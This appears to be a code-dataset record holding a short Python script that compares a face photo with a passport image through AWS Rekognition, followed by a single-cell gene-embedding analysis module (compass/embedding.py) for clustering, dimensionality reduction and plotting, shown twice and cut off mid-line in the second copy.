from dotenv import load_dotenv import os import boto3 # Define constants load_dotenv() AWS_USERNAME = os.environ['aws_username'] AWS_BUCKET = os.environ['aws_bucket'] AWS_REGION = os.environ['aws_region'] AWS_ACCESS_KEY_ID = os.environ['aws_access_key_id'] AWS_SECRET_ACCESS_KEY = os.environ['aws_secret_access_key'] # Initialize rekognition client aws_rekognition_client = boto3.client( service_name='rekognition', region_name=AWS_REGION, aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY ) print('DBG: Client initialized') # Preload images img_folder_path = './img' me_and_passport_img_filename = '2020-10-16-114752.jpg' me_img_filename = '2020-10-16-114805.jpg' passport_img_filename = '2020-10-16-114818.jpg' me_and_passport_img_bytes = open('{0}/{1}'.format(img_folder_path, me_and_passport_img_filename), 'rb').read() me_img_bytes = open('{0}/{1}'.format(img_folder_path, me_img_filename), 'rb').read() passport_img_bytes = open('{0}/{1}'.format(img_folder_path, passport_img_filename), 'rb').read() print('DBG: Images preloaded') # Fetch compare_faces results compare_faces_params = { 'SourceImage': { 'Bytes': me_img_bytes }, 'TargetImage': { 'Bytes': passport_img_bytes }, 'SimilarityThreshold': 70, 'QualityFilter': 'AUTO' # 'NONE'|'AUTO'|'LOW'|'MEDIUM'|'HIGH' } response = aws_rekognition_client.compare_faces(**compare_faces_params) print(response) print('DBG: Fetched response from compare_faces') print('DBG: end of script')

27.482143

110

0.747238

from dotenv import load_dotenv import os import boto3 load_dotenv() AWS_USERNAME = os.environ['aws_username'] AWS_BUCKET = os.environ['aws_bucket'] AWS_REGION = os.environ['aws_region'] AWS_ACCESS_KEY_ID = os.environ['aws_access_key_id'] AWS_SECRET_ACCESS_KEY = os.environ['aws_secret_access_key'] aws_rekognition_client = boto3.client( service_name='rekognition', region_name=AWS_REGION, aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY ) print('DBG: Client initialized') img_folder_path = './img' me_and_passport_img_filename = '2020-10-16-114752.jpg' me_img_filename = '2020-10-16-114805.jpg' passport_img_filename = '2020-10-16-114818.jpg' me_and_passport_img_bytes = open('{0}/{1}'.format(img_folder_path, me_and_passport_img_filename), 'rb').read() me_img_bytes = open('{0}/{1}'.format(img_folder_path, me_img_filename), 'rb').read() passport_img_bytes = open('{0}/{1}'.format(img_folder_path, passport_img_filename), 'rb').read() print('DBG: Images preloaded') compare_faces_params = { 'SourceImage': { 'Bytes': me_img_bytes }, 'TargetImage': { 'Bytes': passport_img_bytes }, 'SimilarityThreshold': 70, 'QualityFilter': 'AUTO' } response = aws_rekognition_client.compare_faces(**compare_faces_params) print(response) print('DBG: Fetched response from compare_faces') print('DBG: end of script')

true

f7327eff75f87ec7bbe56c0c96e4299744d97d89

22,181

py

Python

compass/embedding.py

seitalab/compass

b08b0b711875e8e049ff07793ffe1446a6c3f144

[ "MIT" ]

null

compass/embedding.py

seitalab/compass

b08b0b711875e8e049ff07793ffe1446a6c3f144

[ "MIT" ]

null

compass/embedding.py

seitalab/compass

b08b0b711875e8e049ff07793ffe1446a6c3f144

[ "MIT" ]

null

from sklearn.metrics.pairwise import cosine_similarity from sklearn.manifold import TSNE from sklearn.cluster import AgglomerativeClustering, KMeans from sklearn.preprocessing import MinMaxScaler import matplotlib.pyplot as plt import matplotlib import seaborn as sns import pandas import matplotlib.cm as cm import umap import tqdm import scanpy as sc import matplotlib.gridspec as gridspec import networkx as nx import numpy import operator import random import pickle import collections import sys import os class GeneEmbedding(object): def __init__(self, embedding_file, context): self.vector = [] self.context = context self.embedding_file = embedding_file self.embeddings = self.read_embedding(self.embedding_file) self.vector = [] self.genes = [] for gene in tqdm.tqdm(self.context.expressed_genes): if gene in self.embeddings: self.vector.append(self.embeddings[gene]) self.genes.append(gene) def read_embedding(self, filename): embedding = dict() lines = open(filename,"r").read().splitlines()[1:] for line in lines: vector = line.split() gene = vector.pop(0) embedding[gene] = [float(x) for x in vector] return embedding def compute_similarities(self, gene, subset=None): print("hit") if gene not in self.embeddings: return None embedding = self.embeddings[gene] distances = dict() if subset: targets = set(list(self.embeddings.keys())).intersection(set(subset)) else: targets = list(self.embeddings.keys()) for target in targets: if target not in self.embeddings: continue v = self.embeddings[target] distance = float(cosine_similarity(numpy.array(embedding).reshape(1, -1),numpy.array(v).reshape(1, -1))[0]) distances[target] = distance sorted_distances = list(reversed(sorted(distances.items(), key=operator.itemgetter(1)))) genes = [x[0] for x in sorted_distances] distance = [x[1] for x in sorted_distances] df = pandas.DataFrame.from_dict({"Gene":genes, "Similarity":distance}) return df def cluster(self, n=12): kmeans = KMeans(n_clusters=n) kmeans.fit(self.vector) clusters = kmeans.labels_ clusters = zip(self.context.expressed_genes, clusters) _clusters = [] for gene, cluster in clusters: _clusters.append("G"+str(cluster)) return _clusters def clusters(self, clusters): average_vector = dict() gene_to_cluster = collections.defaultdict(list) matrix = collections.defaultdict(list) total_average_vector = [] for gene, cluster in zip(self.context.expressed_genes, clusters): if gene in self.embeddings: matrix[cluster].append(self.embeddings[gene]) gene_to_cluster[cluster].append(gene) total_average_vector.append(self.embeddings[gene]) self.total_average_vector = list(numpy.average(total_average_vector, axis=0)) for cluster, vectors in matrix.items(): xvec = list(numpy.average(vectors, axis=0)) average_vector[cluster] = numpy.subtract(xvec,self.total_average_vector) return average_vector, gene_to_cluster def generate_vector(self, genes): vector = [] for gene, vec in zip(self.genes, self.vector): if gene in genes: vector.append(vec) return list(numpy.median(vector, axis=0)) def cluster_definitions(self, clusters): average_vector, gene_to_cluster = self.clusters(clusters) similarities = collections.defaultdict(dict) for cluster, vector in average_vector.items(): distances = dict() for target in gene_to_cluster[cluster]: v = self.embeddings[target] distance = float(cosine_similarity(numpy.array(vector).reshape(1, -1),numpy.array(v).reshape(1, -1))[0]) distances[target] = distance sorted_distances = list(reversed(sorted(distances.items(), key=operator.itemgetter(1)))) similarities[cluster] = [x[0] for x in sorted_distances if x[0]] return similarities def cluster_definitions_as_df(self, similarities, top_n=20): clusters = [] symbols = [] for key, genes in similarities.items(): clusters.append(key) symbols.append(", ".join(genes[:top_n])) df = pandas.DataFrame.from_dict({"Cluster Name":clusters, "Top Genes":symbols}) return df def plot(self, clusters, png=None, method="TSNE", labels=[], pcs=None, remove=[]): plt.figure(figsize = (8, 8)) ax = plt.subplot(1,1,1) pcs = self.plot_reduction(clusters, ax, labels=labels, method=method, pcs=pcs, remove=remove) if png: plt.savefig(png) plt.close() else: plt.show() return pcs def plot_reduction(self, clusters, ax, method="TSNE", labels=[], pcs=None, remove=[]): if type(pcs) != numpy.ndarray: if method == "TSNE": print("Running t-SNE") pca = TSNE(n_components=2, n_jobs=-1, metric="cosine") pcs = pca.fit_transform(self.vector) pcs = numpy.transpose(pcs) print("Finished.") else: print("Running UMAP") trans = umap.UMAP(random_state=42,metric='cosine').fit(self.vector) x = trans.embedding_[:, 0] y = trans.embedding_[:, 1] pcs = [x,y] print("Finished.") if len(remove) != 0: _pcsx = [] _pcsy = [] _clusters = [] for x, y, c in zip(pcs[0],pcs[1],clusters): if c not in remove: _pcsx.append(x) _pcsy.append(y) _clusters.append(c) pcs = [] pcs.append(_pcsx) pcs.append(_pcsy) clusters = _clusters data = {"x":pcs[0],"y":pcs[1], "Cluster":clusters} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y",hue="Cluster", ax=ax) plt.xlabel("{}-1".format(method)) plt.ylabel("{}-2".format(method)) ax.set_xticks([]) ax.set_yticks([]) if len(labels): for x, y, gene in zip(pcs[0], pcs[1], self.context.expressed_genes): if gene in labels: ax.text(x+.02, y, str(gene), fontsize=8) return pcs def subtract_vector(self, vector): for gene, vec in self.embeddings.items(): vec = numpy.subtract(vec-vector) self.embeddings[gene] = vec @staticmethod def relabel_cluster(similarities, clusters, old_label, new_label): genes = similarities[old_label] del similarities[old_label] similarities[new_label] = genes _clusters = [] for cluster in clusters: if cluster == old_label: _clusters.append(new_label) else: _clusters.append(cluster) return similarities, _clusters def plot_similarity_matrix(self, markers, marker_labels=None, png=None): cmap = matplotlib.cm.tab20 if marker_labels: marker_colors = {} ctypes = [] for value in marker_labels.values(): ctypes.append(value) ctypes = list(set(ctypes)) for key, value in marker_labels.items(): marker_colors[key] = cmap(ctypes.index(value)) colors = pandas.DataFrame(markers)[0].map(marker_colors) similarity_matrix = [] print("Running") markers = set(list(self.embeddings.keys())).intersection(set(markers)) markers = list(markers) for marker in markers: print(marker) row = [] res = self.compute_similarities(marker, subset=markers) resdict = dict(zip(res["Gene"],res["Similarity"])) for gene in markers: row.append(resdict[gene]) similarity_matrix.append(row) plt.figure(figsize = (12, 10)) matrix = numpy.array(similarity_matrix) df = pandas.DataFrame(matrix,index=markers,columns=markers) sns.clustermap(df,figsize=(12,8), dendrogram_ratio=0.1) plt.tight_layout() if png: plt.savefig("marker_similarity.png") else: plt.show() def plot_similarity_network(self, markers, marker_labels=None, png=None): cmap = matplotlib.cm.tab20 G = nx.petersen_graph() node_color = [] node_order = [] node_size = [] edge_order = [] edge_color = [] edge_labels = dict() for marker in markers: node_order.append(marker) if marker_labels: ctypes = [] for value in marker_labels.values(): ctypes.append(value) ctypes = list(set(ctypes)) node_color.append(ctypes.index(marker_labels[marker])) node_size.append(400) G.add_node(marker) for marker in markers: res = self.compute_similarities(marker) resdict = dict(zip(res["Gene"],res["Similarity"])) i = 0 for gene, similarity in resdict.items(): if i > 9: break if gene != marker: if gene not in G.nodes(): node_size.append(0) G.add_node(gene) node_order.append(gene) node_color.append(len(set(marker_labels.values()))) print(marker, gene) G.add_edge(marker, gene, weight=similarity) edge_color.append(similarity) edge_order.append((marker,gene)) edge_labels[(marker,gene)] = str(round(similarity,2)) i += 1 # print(node_color) # c = max(nx.connected_components(G), key=len) # G = G.subgraph(c).copy() for i in range(10): G.remove_node(i) print(G.nodes()) print(G.edges()) fig = plt.figure(figsize=(8,8)) ax = plt.subplot(1,1,1) #pos = nx.nx_agraph.graphviz_layout(G, prog="neato",args="-Goverlap=scale") pos = nx.nx_agraph.graphviz_layout(G, prog="neato",args="-Goverlap=scale -Elen=5 -Eweight=0.2") #pos = nx.spring_layout(G) nx.draw(G,pos,ax=ax, cmap=cmap,nodelist=node_order, node_size=node_size,edgelist=edge_order, node_color=node_color, edge_color=edge_color, edge_vmin=0, edge_vmax=1.0, edge_cmap=plt.cm.Greys, with_labels=True, width=1,font_size=7) nx.draw_networkx_edge_labels(G,pos,edge_labels=edge_labels, font_size=6) plt.axis('off') plt.tight_layout() if png: plt.savefig(png) else: plt.show() class CellEmbedding(object): def __init__(self, context, embed): cell_to_gene = list(context.cell_to_gene.items()) self.context = context self.embed = embed self.expression = context.expression self.data = collections.defaultdict(list) self.weights = collections.defaultdict(list) for cell, genes in tqdm.tqdm(cell_to_gene): if len(genes) < 2: continue if cell in self.expression: cell_weights = self.expression[cell] for gene in set(genes).intersection(set(embed.embeddings.keys())): if gene in cell_weights: weight = self.expression[cell][gene] if weight > 0: self.data[cell].append(embed.embeddings[gene]) self.weights[cell].append(weight) self.matrix = [] dataset_vector = [] for cell, vectors in self.data.items(): weights = self.weights[cell] xvec = list(numpy.average(vectors, axis=0, weights=weights)) self.matrix.append(xvec) dataset_vector += vectors self.dataset_vector = numpy.average(dataset_vector, axis=0) _matrix = [] for vec in self.matrix: _matrix.append(numpy.subtract(vec, self.dataset_vector)) self.matrix = _matrix def batch_correct(self, column=None, clusters=None): if not column or not clusters: raise ValueError("Must supply batch column and clusters!") column_labels = dict(zip(self.context.cells,self.context.metadata[column])) labels = [] for key in self.data.keys(): labels.append(column_labels[key]) local_correction = collections.defaultdict(lambda : collections.defaultdict(list)) correction_vectors = collections.defaultdict(dict) for cluster, batch, vec in zip(clusters, labels, self.matrix): local_correction[cluster][batch].append(vec) for cluster, batches in local_correction.items(): cluster_vec = [] batch_keys = list(batches.keys()) base_batch = batch_keys.pop(0) max_distance = 1.0 cluster_vec = numpy.average(batches[base_batch], axis=0) for batch in batch_keys: bvec = list(numpy.average(batches[batch], axis=0)) distance = float(cosine_similarity(numpy.array(bvec).reshape(1, -1),numpy.array(cluster_vec).reshape(1, -1))[0]) if max_distance > distance: max_distance = distance offset = numpy.subtract(cluster_vec,bvec) bvec = numpy.add(bvec,offset) distance = float(cosine_similarity(numpy.array(bvec).reshape(1, -1),numpy.array(cluster_vec).reshape(1, -1))[0]) correction_vectors[cluster][batch] = offset self.matrix = [] self.sample_vector = collections.defaultdict(list) i = 0 self.cell_order = [] for cell, vectors in self.data.items(): cluster = clusters[i] xvec = list(numpy.average(vectors, axis=0)) batch = column_labels[cell] if cluster in correction_vectors and batch in correction_vectors[cluster]: offset = correction_vectors[cluster][batch] xvec = numpy.add(xvec,offset) self.matrix.append(xvec) self.cell_order.append(cell) i += 1 def cluster(self, k=12): kmeans = KMeans(n_clusters=k) kmeans.fit(self.matrix) clusters = kmeans.labels_ _clusters = [] for cluster in clusters: _clusters.append("C"+str(cluster)) self.clusters = _clusters return _clusters def subtract_vector(self, vector): corrected_matrix = [] for cell_vector in self.matrix: corrected_matrix.append(numpy.subtract(cell_vector, vector)) self.matrix = corrected_matrix def compute_gene_similarities(self): gene_similarities = dict() vectors = collections.defaultdict(list) for vec, label in zip(self.matrix, self.clusters): vectors[label].append(vec) for label, vecs in vectors.items(): distances = dict() cell_vector = list(numpy.mean(vecs, axis=0)) for gene, vector in self.embed.embeddings.items(): distance = float(cosine_similarity(numpy.array(cell_vector).reshape(1, -1),numpy.array(vector).reshape(1, -1))[0]) distances[gene] = distance sorted_distances = list(reversed(sorted(distances.items(), key=operator.itemgetter(1)))) gene_similarities[label] = [x[0] for x in sorted_distances] print(label, sorted_distances[:10]) return gene_similarities def group_cell_vectors(self, barcode_to_label): label_vector = dict() labels = [] for cell, vectors in self.data.items(): vector = list(numpy.median(vectors, axis=0)) labels.append(barcode_to_label[cell]) label_vector[barcode_to_label[cell]] = vector for cell, vectors in self.data.items(): _vectors = [] for vector in vectors: _vectors.append(numpy.subtract(vector, label_vector[barcode_to_label[cell]])) vectors = _vectors vector = list(numpy.median(vectors, axis=0)) label_vector[barcode_to_label[cell]] = vector return label_vector, labels def compute_cell_similarities(self, barcode_to_label): vectors = dict() cell_similarities = dict() vectors, labels = self.group_cell_vectors(barcode_to_label) for label, vector in vectors.items(): distances = dict() for label2, vector2 in vectors.items(): xdist = [] distance = float(cosine_similarity(numpy.array(vector).reshape(1, -1),numpy.array(vector2).reshape(1, -1))[0]) xdist.append(distance) distances[label2] = distance cell_similarities[label] = distances return cell_similarities def plot_reduction(self, ax, pcs=None, method="TSNE", clusters=None, labels=None): if type(pcs) != numpy.ndarray: if method == "TSNE": print("Running t-SNE") pca = TSNE(n_components=2, n_jobs=-1, metric="cosine") pcs = pca.fit_transform(self.matrix) pcs = numpy.transpose(pcs) print("Finished.") else: print("Running UMAP") trans = umap.UMAP(random_state=42,metric='cosine').fit(self.matrix) x = trans.embedding_[:, 0] y = trans.embedding_[:, 1] pcs = [x,y] print("Finished.") data = {"x":pcs[0],"y":pcs[1],"Cluster": clusters} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y", hue='Cluster', ax=ax,linewidth=0.1,s=13,alpha=1.0) return pcs def plot(self, png=None, pcs=None, method="TSNE", column=None): if column: column_labels = dict(zip(self.context.cells,self.context.metadata[column])) labels = [] for key in self.data.keys(): labels.append(column_labels[key]) else: labels = self.clusters plt.figure(figsize = (8, 8)) ax1 = plt.subplot(1,1,1) pcs = self.plot_reduction(ax1, pcs=pcs, clusters=labels, method=method) plt.xlabel("{}-1".format(method)) plt.ylabel("{}-2".format(method)) ax1.set_xticks([]) ax1.set_yticks([]) if png: plt.savefig(png) plt.close() else: plt.show() return pcs def plot_distance(self, vector, pcs=None): plt.figure(figsize = (8,8)) ax = plt.subplot(1,1, 1) if type(pcs) != numpy.ndarray: pca = TSNE(n_components=2) pcs = pca.fit_transform(self.matrix) pcs = numpy.transpose(pcs) distances = [] dataset_distance = float(cosine_similarity(numpy.array(vector).reshape(1, -1),numpy.array(self.dataset_vector).reshape(1, -1))[0]) for cell_vector in self.matrix: distance = float(cosine_similarity(numpy.array(cell_vector).reshape(1, -1),numpy.array(vector).reshape(1, -1))[0]) distances.append(distance-dataset_distance) data = {"x":pcs[0],"y":pcs[1],"Distance": distances} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y", hue='Distance', ax=ax,linewidth=0.00,s=7,alpha=0.7) return pcs def plot_gene_tsne(self, title, ax, genes, pcs=None): expression = [0 for _ in range(len(list(self.data.keys())))] for gene in genes: for i, cell in enumerate(self.data.keys()): if gene in self.expression[cell]: expression[i] += self.expression[cell][gene] if type(pcs) != numpy.ndarray: pca = TSNE(n_components=2) pcs = pca.fit_transform(self.matrix) pcs = numpy.transpose(pcs) data = {"x":pcs[0],"y":pcs[1],"Gene Expression": expression} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y", hue='Gene Expression', ax=ax,linewidth=0.00,s=7,alpha=0.7) ax.set_title(title,fontsize=16) return pcs def plot_gene_expression(self, genes, pcs=None, png=None): plt.figure(figsize = (8,8)) ax = plt.subplot(1,1, 1) pcs = self.plot_gene_tsne(",".join(genes[:10]), ax, genes, pcs=pcs) ax.set_xticks([]) ax.set_yticks([]) if not png: plt.show() else: plt.savefig(png) plt.close() return pcs def plot_similarity_matrix(self, vectors, column): similarity_matrix = [] plt.figure(figsize = (12, 10)) barcode_to_label = dict(zip(cembed.context.metadata.index, cembed.context.metadata[column])) ctypes = cembed.group_cell_vectors() matrix = [] clusters = list(vectors.keys()) celltypes = list(cytpes.keys()) for cluster, genes in vectors.items(): vector = embed.generate_vector(genes) row = [] for cell in ctypes.keys(): distance = float(cosine_similarity(numpy.array(ctypes[cell]).reshape(1, -1),numpy.array(vector).reshape(1, -1))[0]) row.append() matrix.append(row) matrix = numpy.array(matrix) df = pandas.DataFrame(matrix,index=celltypes,columns=celltypes) sns.clustermap(df,figsize=(17,8)) plt.tight_layout() plt.savefig(os.path.join(output_path,"celltype_similarities_{}.png".format(sample)))

41.693609

237

0.581939

from sklearn.metrics.pairwise import cosine_similarity from sklearn.manifold import TSNE from sklearn.cluster import AgglomerativeClustering, KMeans from sklearn.preprocessing import MinMaxScaler import matplotlib.pyplot as plt import matplotlib import seaborn as sns import pandas import matplotlib.cm as cm import umap import tqdm import scanpy as sc import matplotlib.gridspec as gridspec import networkx as nx import numpy import operator import random import pickle import collections import sys import os class GeneEmbedding(object): def __init__(self, embedding_file, context): self.vector = [] self.context = context self.embedding_file = embedding_file self.embeddings = self.read_embedding(self.embedding_file) self.vector = [] self.genes = [] for gene in tqdm.tqdm(self.context.expressed_genes): if gene in self.embeddings: self.vector.append(self.embeddings[gene]) self.genes.append(gene) def read_embedding(self, filename): embedding = dict() lines = open(filename,"r").read().splitlines()[1:] for line in lines: vector = line.split() gene = vector.pop(0) embedding[gene] = [float(x) for x in vector] return embedding def compute_similarities(self, gene, subset=None): print("hit") if gene not in self.embeddings: return None embedding = self.embeddings[gene] distances = dict() if subset: targets = set(list(self.embeddings.keys())).intersection(set(subset)) else: targets = list(self.embeddings.keys()) for target in targets: if target not in self.embeddings: continue v = self.embeddings[target] distance = float(cosine_similarity(numpy.array(embedding).reshape(1, -1),numpy.array(v).reshape(1, -1))[0]) distances[target] = distance sorted_distances = list(reversed(sorted(distances.items(), key=operator.itemgetter(1)))) genes = [x[0] for x in sorted_distances] distance = [x[1] for x in sorted_distances] df = pandas.DataFrame.from_dict({"Gene":genes, "Similarity":distance}) return df def cluster(self, n=12): kmeans = KMeans(n_clusters=n) kmeans.fit(self.vector) clusters = kmeans.labels_ clusters = zip(self.context.expressed_genes, clusters) _clusters = [] for gene, cluster in clusters: _clusters.append("G"+str(cluster)) return _clusters def clusters(self, clusters): average_vector = dict() gene_to_cluster = collections.defaultdict(list) matrix = collections.defaultdict(list) total_average_vector = [] for gene, cluster in zip(self.context.expressed_genes, clusters): if gene in self.embeddings: matrix[cluster].append(self.embeddings[gene]) gene_to_cluster[cluster].append(gene) total_average_vector.append(self.embeddings[gene]) self.total_average_vector = list(numpy.average(total_average_vector, axis=0)) for cluster, vectors in matrix.items(): xvec = list(numpy.average(vectors, axis=0)) average_vector[cluster] = numpy.subtract(xvec,self.total_average_vector) return average_vector, gene_to_cluster def generate_vector(self, genes): vector = [] for gene, vec in zip(self.genes, self.vector): if gene in genes: vector.append(vec) return list(numpy.median(vector, axis=0)) def cluster_definitions(self, clusters): average_vector, gene_to_cluster = self.clusters(clusters) similarities = collections.defaultdict(dict) for cluster, vector in average_vector.items(): distances = dict() for target in gene_to_cluster[cluster]: v = self.embeddings[target] distance = float(cosine_similarity(numpy.array(vector).reshape(1, -1),numpy.array(v).reshape(1, -1))[0]) distances[target] = distance sorted_distances = list(reversed(sorted(distances.items(), key=operator.itemgetter(1)))) similarities[cluster] = [x[0] for x in sorted_distances if x[0]] return similarities def cluster_definitions_as_df(self, similarities, top_n=20): clusters = [] symbols = [] for key, genes in similarities.items(): clusters.append(key) symbols.append(", ".join(genes[:top_n])) df = pandas.DataFrame.from_dict({"Cluster Name":clusters, "Top Genes":symbols}) return df def plot(self, clusters, png=None, method="TSNE", labels=[], pcs=None, remove=[]): plt.figure(figsize = (8, 8)) ax = plt.subplot(1,1,1) pcs = self.plot_reduction(clusters, ax, labels=labels, method=method, pcs=pcs, remove=remove) if png: plt.savefig(png) plt.close() else: plt.show() return pcs def plot_reduction(self, clusters, ax, method="TSNE", labels=[], pcs=None, remove=[]): if type(pcs) != numpy.ndarray: if method == "TSNE": print("Running t-SNE") pca = TSNE(n_components=2, n_jobs=-1, metric="cosine") pcs = pca.fit_transform(self.vector) pcs = numpy.transpose(pcs) print("Finished.") else: print("Running UMAP") trans = umap.UMAP(random_state=42,metric='cosine').fit(self.vector) x = trans.embedding_[:, 0] y = trans.embedding_[:, 1] pcs = [x,y] print("Finished.") if len(remove) != 0: _pcsx = [] _pcsy = [] _clusters = [] for x, y, c in zip(pcs[0],pcs[1],clusters): if c not in remove: _pcsx.append(x) _pcsy.append(y) _clusters.append(c) pcs = [] pcs.append(_pcsx) pcs.append(_pcsy) clusters = _clusters data = {"x":pcs[0],"y":pcs[1], "Cluster":clusters} df = pandas.DataFrame.from_dict(data) sns.scatterplot(data=df,x="x", y="y",hue="Cluster", ax=ax) plt.xlabel("{}-1".format(method)) plt.ylabel("{}-2".format(method)) ax.set_xticks([]) ax.set_yticks([]) if len(labels): for x, y, gene in zip(pcs[0], pcs[1], self.context.expressed_genes): if gene in labels: ax.text(x+.02, y, str(gene), fontsize=8) return pcs def subtract_vector(self, vector): for gene, vec in self.embeddings.items(): vec = numpy.subtract(vec-vector) self.embeddings[gene] = vec @staticmethod def relabel_cluster(similarities, clusters, old_label, new_label): genes = similarities[old_label] del similarities[old_label] similarities[new_label] = genes _clusters = [] for cluster in clusters: if cluster == old_label: _clusters.append(new_label) else: _clusters.append(cluster) return similarities, _clusters def plot_similarity_matrix(self, markers, marker_labels=None, png=None): cmap = matplotlib.cm.tab20 if marker_labels: marker_colors = {} ctypes = [] for value in marker_labels.values(): ctypes.append(value) ctypes = list(set(ctypes)) for key, value in marker_labels.items(): marker_colors[key] = cmap(ctypes.index(value)) colors = pandas.DataFrame(markers)[0].map(marker_colors) similarity_matrix = [] print("Running") markers = set(list(self.embeddings.keys())).intersection(set(markers)) markers = list(markers) for marker in markers: print(marker) row = [] res = self.compute_similarities(marker, subset=markers) resdict = dict(zip(res["Gene"],res["Similarity"])) for gene in markers: row.append(resdict[gene]) similarity_matrix.append(row) plt.figure(figsize = (12, 10)) matrix = numpy.array(similarity_matrix) df = pandas.DataFrame(matrix,index=markers,columns=markers) sns.clustermap(df,figsize=(12,8), dendrogram_ratio=0.1) plt.tight_layout() if png: plt.savefig("marker_similarity.png") else: plt.show() def plot_similarity_network(self, markers, marker_labels=None, png=None): cmap = matplotlib.cm.tab20 G = nx.petersen_graph() node_color = [] node_order = [] node_size = [] edge_order = [] edge_color = [] edge_labels = dict() for marker in markers: node_order.append(marker) if marker_labels: ctypes = [] for value in marker_labels.values(): ctypes.append(value) ctypes = list(set(ctypes)) node_color.append(ctypes.index(marker_labels[marker])) node_size.append(400) G.add_node(marker) for marker in markers: res = self.compute_similarities(marker) resdict = dict(zip(res["Gene"],res["Similarity"])) i = 0 for gene, similarity in resdict.items(): if i > 9: break if gene != marker: if gene not in G.nodes(): node_size.append(0) G.add_node(gene) node_order.append(gene) node_color.append(len(set(marker_labels.values()))) print(marker, gene) G.add_edge(marker, gene, weight=similarity) edge_color.append(similarity) edge_order.append((marker,gene)) edge_labels[(marker,gene)] = str(round(similarity,2)) i += 1 for i in range(10): G.remove_node(i) print(G.nodes()) print(G.edges()) fig = plt.figure(figsize=(8,8)) ax = plt.subplot(1,1,1) pos = nx.nx_agraph.graphviz_layout(G, prog="neato",args="-Goverlap=scale -Elen=5 -Eweight=0.2") nx.draw(G,pos,ax=ax, cmap=cmap,nodelist=node_order, node_size=node_size,edgelist=edge_order, node_color=node_color, edge_color=edge_color, edge_vmin=0, edge_vmax=1.0, edge_cmap=plt.cm.Greys, with_labels=True, width=1,font_size=7) nx.draw_networkx_edge_labels(G,pos,edge_labels=edge_labels, font_size=6) plt.axis('off') plt.tight_layout() if png: plt.savefig(png) else: plt.show() class CellEmbedding(object): def __init__(self, context, embed): cell_to_gene = list(context.cell_to_gene.items()) self.context = context self.embed = embed self.expression = context.expression self.data = collections.defaultdict(list) self.weights = collections.defaultdict(list) for cell, genes in tqdm.tqdm(cell_to_gene): if len(genes) < 2: continue if cell in self.expression: cell_weights = self.expression[cell] for gene in set(genes).intersection(set(embed.embeddings.keys())): if gene in cell_weights: weight = self.expression[cell][gene] if weight > 0: self.data[cell].append(embed.embeddings[gene]) self.weights[cell].append(weight) self.matrix = [] dataset_vector = [] for cell, vectors in self.data.items(): weights = self.weights[cell] xvec = list(numpy.average(vectors, axis=0, weights=weights)) self.matrix.append(xvec) dataset_vector += vectors self.dataset_vector = numpy.average(dataset_vector, axis=0) _matrix = [] for vec in self.matrix: _matrix.append(numpy.subtract(vec, self.dataset_vector)) self.matrix = _matrix def batch_correct(self, column=None, clusters=None): if not column or not clusters: raise ValueError("Must supply batch column and clusters!") column_labels = dict(zip(self.context.cells,self.context.metadata[column])) labels = [] for key in self.data.keys(): labels.append(column_labels[key]) local_correction = collections.defaultdict(lambda : collections.defaultdict(list)) correction_vectors = collections.defaultdict(dict) for cluster, batch, vec in zip(clusters, labels, self.matrix): local_correction[cluster][batch].append(vec) for cluster, batches in local_correction.items(): cluster_vec = [] batch_keys = list(batches.keys()) base_batch = batch_keys.pop(0) max_distance = 1.0 cluster_vec = numpy.average(batches[base_batch], axis=0) for batch in batch_keys: bvec = list(numpy.average(batches[batch], axis=0)) distance = float(cosine_similarity(numpy.array(bvec).reshape(1, -1),numpy.array(cluster_vec).reshape(1, -1))[0]) if max_distance > distance: max_distance = distance offset = numpy.subtract(cluster_vec,bvec) bvec = numpy.add(bvec,offset) distance = float(cosine_similarity(numpy.array(bvec).reshape(1, -1),numpy.array(cluster_vec).reshape(1, -1))[0]) correction_vectors[cluster][batch] = offset self.matrix = [] self.sample_vector = collections.defaultdict(list) i = 0 self.cell_order = [] for cell, vectors in self.data.items(): cluster = clusters[i] xvec = list(numpy.average(vectors, axis=0)) batch = column_labels[cell] if cluster in correction_vectors and batch in correction_vectors[cluster]: offset = correction_vectors[cluster][batch] xvec = numpy.add(xvec,offset) self.matrix.append(xvec) self.cell_order.append(cell) i += 1 def cluster(self, k=12): kmeans = KMeans(n_clusters=k) kmeans.fit(self.matrix) clusters = kmeans.labels_ _clusters = [] for cluster in clusters: _clusters.append("C"+str(cluster)) self.clusters = _clusters return _clusters def subtract_vector(self, vector): corrected_matrix = [] for cell_vector in self.matrix: corrected_matrix.append(numpy.subtract(cell_vector, vector)) self.matrix = corrected_matrix def compute_gene_similarities(self): gene_similarities = dict() vectors = collections.defaultdict(list) for vec, label in zip(self.matrix, self.clusters): vectors[label].append(vec) for label, vecs in vectors.items(): distances = dict() cell_vector = list(numpy.mean(vecs, axis=0)) for gene, vector in self.embed.embeddings.items(): distance = float(cosine_similarity(numpy.array(cell_vector).reshape(1, -1),numpy.array(vector).reshape(1, -1))[0]) distances[gene] = distance sorted_distances = list(reversed(sorted(distances.items(), key=operator.itemgetter(1)))) gene_similarities[label] = [x[0] for x in sorted_distances] print(label, sorted_distances[:10]) return gene_similarities def group_cell_vectors(self, barcode_to_label): label_vector = dict() labels = [] for cell, vectors in self.data.items(): vector = list(numpy.median(vectors, axis=0)) labels.append(barcode_to_label[cell]) label_vector[barcode_to_label[cell]] = vector for cell, vectors in self.data.items(): _vectors = [] for vector in vectors: _vectors.append(numpy.subtract(vector, label_vector[barcode_to_label[cell]])) vectors = _vectors vector = list(numpy.median(vectors, axis=0)) label_vector[barcode_to_label[cell]] = vector return label_vector, labels def compute_cell_similarities(self, barcode_to_label): vectors = dict() cell_similarities = dict() vectors, labels = self.group_cell_vectors(barcode_to_label) for label, vector in vectors.items(): distances = dict() for label2, vector2 in vectors.items(): xdist = [] distance = float(cosine_similarity(numpy.array(vector).reshape(1, -1),numpy.array(vector2).reshape(1, -1))[0]) xdist.append(distance) distances[label2] = distance cell_similarities[label] = distances return cell_similarities def plot_reduction(self, ax, pcs=None, method="TSNE", clusters=None, labels=None): if type(pcs) != numpy.ndarray: if method == "TSNE": print("Running t-SNE") pca = TSNE(n_components=2, n_jobs=-1, metric="cosine") pcs = pca.fit_transform(self.matrix) pcs = numpy.transpose(pcs) print("Finished.") else: print("Running UMAP") trans = 